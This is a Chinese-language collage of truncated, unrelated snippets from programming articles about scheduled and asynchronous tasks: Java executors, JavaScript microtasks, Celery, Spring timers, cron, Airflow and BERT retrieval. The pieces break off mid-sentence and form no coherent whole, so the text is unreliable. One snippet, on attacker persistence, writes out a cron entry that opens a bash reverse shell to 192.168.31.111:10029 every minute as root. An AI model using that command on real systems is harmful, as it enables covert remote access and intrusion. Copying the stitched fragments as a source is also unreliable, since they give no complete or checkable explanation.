很简单，代码如下： void beep(uint64_t times) { io_out8(0x43, 182&0xff); io_out8(0...
Node.js 开辟了一个在不同环境中甚至在 web 之外编写 JavaScript 的新时代。当然异步的情况也是可能的，例如创建新目录或写文件。...令人高兴的是，JavaScript 社区再次从其他语言的语法中学到了东西，并增加了一种表示方法，可以在大多数情况下帮助异步任务串联，而不是像同步代码那样能够令人轻松的阅读。...对返回值进行的后续操作无需存储在不会破坏代码节奏的 mkdir 之类的变量中；也无需在以后的步骤中创建新的作用域来访问 result 的值。...在文中他解释了如何避免这些陷阱。 我认为 Promise 是中间步骤，它允许以自然的方式生成异步任务，但并没有帮助我们进一步改进更好的代码模式，有时你需要更适应改进的语言语法。...与十年前刚刚开始在浏览器中编写代码时相比，我觉得现在 JavaScript 是“异步友好”的。
在Executor中延时执行任务 在Executor中周期的执行任务 ScheduledExecutorService类顾名思义，就是可以延迟执行的Executor。...在Executor中延时执行任务 Task类 package ScheduledThreadPoolExecutor; import java.util.Date; import java.util.concurrent.Callable...中周期的执行任务 Executor框架通过并发任务而避免了线程的创建操作。...当任务结束之后，这个任务就会从Executor中删除，如果想要再次执行这个任务，就需要再次将这个任务发送给Executor。...Executor框架中，提供了ScheduledThreadPoolExecutor来提供任务的周期性执行的功能 Task类： package ScheduledThreadCycle; import
这些都在 任务队列（task queue） 上被调度。 在以下时机，任务会被添加到任务队列： 一段新程序或子程序被直接执行时（比如从一个控制台，或在一个 元素中运行代码）。...但是，只有在迭代开始时队列中存在的任务才会被事件循环一个接一个地运行，这和处理微任务队列是殊为不同的。 有两点关键的区别。...何时使用微服务 在本章节中，我们来看看微服务特别有用的场景。...例子 简单微任务示例 在这个简单的例子中，我们将看到入列一个微任务后，会引起其回调函数在顶层脚本完毕后运行。...在这个例子中，一个 timeout 在 0 毫秒后被触发（或者 "尽可能快"）。
在 Notebook 中定义并提交任务 接下来将通过一个例子来详细讲述如何通过 "Pipeline" 来定义和执行任务，下面用到的"usage_of_fate_client.ipynb"，用户可以自行下载并上传到...上传数据 在FATE中执行训练任务需要把原数据集上传到集群中，并且需要指定（"namespace", "name"）来作为其在系统中的唯一标识。...定义训练组件 在下面的代码中首先用guest_train_data、host_train_data、guest_eval_data、host_eval_data指定了任务所需要用到的数据。...构建训练流程并执行 这个代码段首先通过调用add_component()把上一步定义的组件加入到了任务的pipeline 中，调用的顺序需要与组件的执行顺序一致。...预测的结果可以通过 FATEBoard 的来查看，结果如下： 目前在 FATE 中已经自带了很多使用 "Pipeline" 的例子: examples/pipeline，感兴趣的读者可以把它们转换到
在一个Web应用中，当你添加一个Web页面的时候，VS实际上会为你创建三个文件：Xxx.aspx, Xxx.aspx.cs和Xxx.aspx.designer.cs，后面两个文件（依赖文件）依赖于第一个文件...目录 一、文件依赖达到的效果 二、文件依赖关系定义在Project文件中 三、通过VS插件建立两个文件之间的依赖关系 一、文件依赖达到的效果 对于项目文件之间的依赖关系...在默认的情况下，View和Presenter在VS中处于同一个级别，如果能够建立起它们之间的依赖关系，让Presenter文件嵌套在View文件下，在结构上将显得更加清晰（如左图所示）。 ?...再举一个例子，在《如何让ASP.NET默认的资源编程方式支持非.ResX资源存储》一文中，我提供了一种通过自定义ResourceProvider让ASP.NET默认的资源编成模式支持不同形式的资源存储形式...二、文件依赖关系定义在Project文件中 在目录结构来讲，主文件和依赖文件处于相同的层级，它们的依赖关系实际上是通过Project文件（.csproj文件或者.vbproj文件）来定义的。
在项目中需要添加一个定时任务，完成每天晚上访问第三方接口用于同步数据，在实际中这样的定时任务需求很多，比如系统日志，备份等等，特在网上找了相关内容。...此处使用的是SSM框架，SpringMVC的配置文件都在springmvc.xml中。 1....在springmvc.xml添加如下内容 在xmlns中添加 xmlns:task="http://www.springframework.org/schema/task" 在xsi中添加 http...; import org.springframework.stereotype.Component; /** * * 类名称：TimerTask * 类描述：定时器任务 * 创建人：geekfly...10:56:27 AM * @version V1.0 * */ @Component public class TimerTask { /** * 每天22点30启动任务
异步任务队列Celery在Django中的应用 01 Django简介 关于Django的介绍，之前在2018年9月17号的文章中已经讲过了，大家有兴趣可以翻翻之前的文章，这里再简单介绍下:...所谓同步请求，就是所有逻辑处理都是在view中处理完毕后返回response，在view处理任务时，用户处于等待状态，举个栗子:我们点击一个页面，然后这个页面直接返回按钮点击的效果。...而celery就是处理异步任务队列的一个分布式框架，支持使用任务队列的方式在分布的机器上执行任务调度。...在Django中如果没有设置backend，会使用其默认的后台数据库用来存储数据。...4.在app的根目录下，简历task.py文件 在tasks.py中我们就可以编码实现我们需要执行的任务逻辑，在开始处import task，然后在要执行的任务方法开头用上装饰器@task。
Linux中的计划任务可以让系统周期性地运行所指定的程序或命令，攻击者可以利用这个特性让系统周期性运行恶意程序或者命令。计划任务具体使用方法参考前文，这里只讲述攻击者如何利用该技术进行权限维持。...首先，使用命令service cron status来检查系统中的计划任务服务是否正常运行，执行结果如图1-1所示，running则代表正在运行。...然后，使用命令crontab -l来查看当前用户在系统中创建的计划任务，执行结果如图1-2所示。...在Linux中“万物皆文件”，crontab -l命令实际上是调用“cat /var/spool/cron/crontabs/当前登录用户的用户名”。...那么攻击者可以执行命令echo "*/1 * * * * bash -i >& /dev/tcp/192.168.31.111/10029 0>&1" > /var/spool/cron/crontabs/root，在计划任务中写入一个每分钟建立回连会话的语句
测试Celery任务能否使用多线程 在开发的调试过程中，发现如果在django项目里面或者celery的task中使用协程gevent的话，使用monkey补丁的时候会报错。...那么尝试了很久，发现在celery中是可以执行多线程的，下面来演示一下执行的示例。...) # print('---结束---:%s' % ctime()) 启动celery服务 celery -A celery_tasks worker -l info -P eventlet 在django...() Out[2]: 查看celery中的执行打印情况 ?...可以看到任务顺利并发执行，也就是Celery虽然自身已经是异步任务，还是可以继续在task中使用多线程的。
3 我看到的三类人 第一类人，是认为自己的技术在阿里 P8 甚至 P9 级别，却只在一个小公司写着简单的业务代码，时刻感觉自己被大材小用了，自认清高，不屑接受任何人的建议，也不屑与别人交流，但是，他们在工作的进行中会尽可能的尝试简化重复性工作...● ● ● 第二类人，是比较常见的一类人，对工作的激情和积极性很低，更多的是按部就班的完成上级安排的任务，自身的提升完全依靠工作中遇到的问题，很少去主动规划自身的能力体系，缺乏好奇心和刨根问底的心，这类人的工作态度为...在工作中，遇到问题，首先去搜索引擎查阅资料，然后解决问题，问题解决完后，不要沉浸在喜悦和骄傲中，应该去探究发生这个问题的根本原因，以及如何规避这个问题，这在以后再做这件事的时候会助你行云流水，每次都吸收一点新的知识...，或者是开发一些自己常用的插件，让自己的工作中可以以更少的时间产出更多的产品，毕竟框架再多，也都是换汤不换药。...N 写在最后 本文从重复性工作为切入点，讲了很多在实际工作中遇到的问题和解决方案，但是每个人的经历、所处的阶段、甚至是认知的不同，都会对每个点都自己独特的见解，但只要有着 “乐以忘忧,不知老之将至云尔”
对于后台的多线程处理任务，通常采取以下几种优化措施来防止线程过度竞争导致的性能下降：合理划分任务：将大任务划分为多个小任务，并将这些小任务平均分配给不同的线程处理，避免某些线程任务过重而导致其他线程空闲...使用合适的同步机制：在多线程环境下，正确选择和使用同步机制可以有效避免线程的竞争问题。可以根据需求选择适当的锁机制，比如synchronized关键字、ReentrantLock等。...合理设置线程优先级：合理设置线程优先级，可以确保重要任务优先执行，避免线程过度竞争。以上是在后台多线程处理任务中优化线程使用以预防线程过度竞争导致性能下降的一些常见措施。
开篇 这篇只介绍怎么用，不说原理；先说一种常用的定时任务的方法；使用schedule定时任务最常用的是使用Springboot自带schedule；使用springboot自带的schedule实现定时任务...,不用引用任何第三方的工具包,只需要：在启动类上增加@EnableScheduling注解，即可开启定时任务的支持；定义自己的定时任务业务逻辑类 加上注解@Component或@Configuration...，在定时任务的具体逻辑方法加上注解@Schedule("${cron表达式}")使用Quratz:Quartz 是一个完全由 Java 编写的开源作业调度框架，为在 Java 应用程序中进行作业调度提供了简单却强大的机制...创建springboot工程： 在IDEA中基于springboot 2.7....中添加两个BeanJobDetail 表示一个具体的可执行的调度程序，Job 是这个可执行程调度程序所要执行的内容，另外 JobDetail 还包含了这个任务调度的方案和策略。
为什么要用多任务学习？ 「方便」。在推荐任务中，往往不仅要预测用户的engagement（例如CTR），还要预测用户satisfaction（例如评分、CVR、观看时长）。...两个任务的参数完全不共用，但是对不同任务的参数增加L2范数的限制（L2-Constrained）： 2个任务的参数完全不共用，但是在损失函数中加入正则项。...缺点就是模型增加了参数量（如果要训练k个目标，就增加k倍），所以需要更大的数据量来训练模型，而且模型更复杂并不利于在真实生产环境中实际部署使用。...CGC网络的好处是既「包含了task-specific网络独有的个性化信息，也包含了shared 网络具有的更加泛化的信息」，文章指出虽然MMoE模型在理论上可以得到同样的解，但是在实际训练过程中很难收敛到这种情况...具体网络结构如下图所示： 注意，在底层的Extraction网络中，除了各个task-specifict的门控网络外，还有一个share部分的门控网络，这部分门控网络的输入「包含了所有input」，而各个
在日常的项目开发中，往往会涉及到一些需要做到定时执行的代码，例如自动将超过24小时的未付款的单改为取消状态，自动将超过14天客户未签收的订单改为已签收状态等等，那么为了在Spring Boot中实现此类需求...这种方式有个缺点，那就是执行周期写死在代码里了，没有办法动态改变，要想改变只能修改代码在重新部署启动微服务。其实Spring也考虑到了这个，所以给出了另外的解决方案，就是我下面说的第二种方式。...return; } execute(); } } 所有定时任务类只需要实现这个接口并相应的在数据库插入一条记录，那么在微服务启动的时候，...可以做到查看任务列表，修改任务cron表达式（也就实现了动态改变定时任务执行周期），暂停定时任务，以及直接执行定时任务。...最后如果对定时任务有更多其它要求，可以考虑使用xxljob这个开源的分布式任务调度平台，有兴趣的同学可以去了解，这里我就不展开了。 — 本文结束 —
使用 cron 的计划任务意味着你不用熬夜程序也可以运行。 系统管理员（在许多好处中）的挑战之一是在你该睡觉的时候去运行一些任务。...cron 服务可以安排任务在一个周期上重复，比如天、周、或月。 在这篇文章中，我将介绍 cron 服务和怎么去使用它。...该 sysstat cron 文件有两行执行任务。第一行每十分钟去运行 sa1 程序去收集数据，存储在 /var/log/sa 目录中的一个指定的二进制文件中。...:/bin:/usr/sbin:/usr/bin MAILTO=root 01 * * * * root run-parts /etc/cron.hourly /etc/cron.d/0hourly 中的内容使位于...然而，在一些特殊情况下，用户需要去设置一个任务在预先指定时间运行，而 cron 可以允许他们去那样做。许多用户不理解如何正确地配置 cron 去完成任务，并且他们会出错。
Airflow分布式集群搭建原因及其他扩展一、Airflow分布式集群搭建原因在稳定性要求较高的场景中，例如：金融交易系统，airflow一般采用集群、高可用方式搭建部署，airflow对应的进程分布在多个节点上运行...当工作流中有内存密集型任务，任务最好分布在多态机器上执行以得到更好效果，airflow分布式集群满足这点。...二、Airflow分布式集群其他扩展1、扩展Worker节点我们可以通过向集群中添加更多的worker节点来水平扩展集群，并使这些新节点使用同一个元数据库，从而分布式处理任务...由于Worker不需要再任何进程注册即可执行任务，因此worker节点可以在不停机，不重启服务下的情况进行扩展。...我们可以扩展webserver，防止太多的HTTP请求出现在一台机器上防止webserver挂掉，需要注意，Master节点包含Scheduler与webServer，在一个Airflow集群中我们只能一次运行一个
本文系DR-BERT算法在文本检索任务中的实践分享，希望对从事检索、排序相关研究的同学能够有所启发和帮助。...在美团业务中，文档检索和排序算法在搜索、广告、推荐等场景中都有着广泛的应用。...BERT本质上是一个基于Transformer架构的编码器，其取得成功的关键因素是利用多层Transoformer中的自注意力机制（Self-Attention）提取不同层次的语义特征，具有很强的语义表征能力...通过BERT强大的语义表征能力，可以很好衡量单词在文档中的重要性。如下图4所示，颜色越深的单词，其重要性越高。其中的“stomach”在第一个文档中的重要性更高。 ?...具体的，在训练过程中，对于每个问题，我们采样n+个正例以及n-个负例作为输入，这些文档是从候选文档集合D中随机产生。注意，由于硬件的限制，我们不能将所有的候选文档都输入到当前模型中。
在我们最大的应用场景中，我们使用了 10000 多个 DAG，代表了大量不同的工作负载。在这个场景中，平均有 400 多项任务正在进行，并且每天的运行次数超过 14 万次。...我们编写了一个自定义脚本，使该卷的状态与 GCS 同步，因此，当 DAG 被上传或者管理时，用户可以与 GCS 进行交互。这个脚本在同一个集群内的单独 pod 中运行。...下图显示了在我们最大的单一 Airflow 环境中，每 10 分钟完成的任务数。...在我们的生产 Airflow 环境中，每 10 分钟执行一次任务 存在许多资源争用点 在 Airflow 中，存在着很多可能的资源争用点，通过一系列实验性的配置改变，最终很容易出现瓶颈问题。...以下是我们在 Shopify 的 Airflow 中处理资源争用的几种方法： 池 减少资源争用的一种方法是使用 Airflow 池。池用于限制一组特定任务的并发性。
Bert 刷新了11项 NLP 任务的记录，其中就有两项语义相关的任务。...出于一个贪婪的想法，我们在12层上又累加了4层 transformer block，这时候，参数量从 102M 增加到 130M。...这和 bert 刷榜的11个任务中的 Semantic Text Similarity Benchmark 这个任务是一样的。同时，我们把 0分和1分定义为负例，把 2分，3分，和4分定义为正例。...这是我们在一个 Tesla P40 上，训练三个模型的耗时。可以看到， 由于采用了两层 LSTM，ESIM 的耗时是最长的。 3. 性能评测 在衡量模型的指标上，我们选择了 AUC。...目前从事搜索广告业务中 NLP 相关的算法工作，负责搜索广告 query 改写，相关性计算等。
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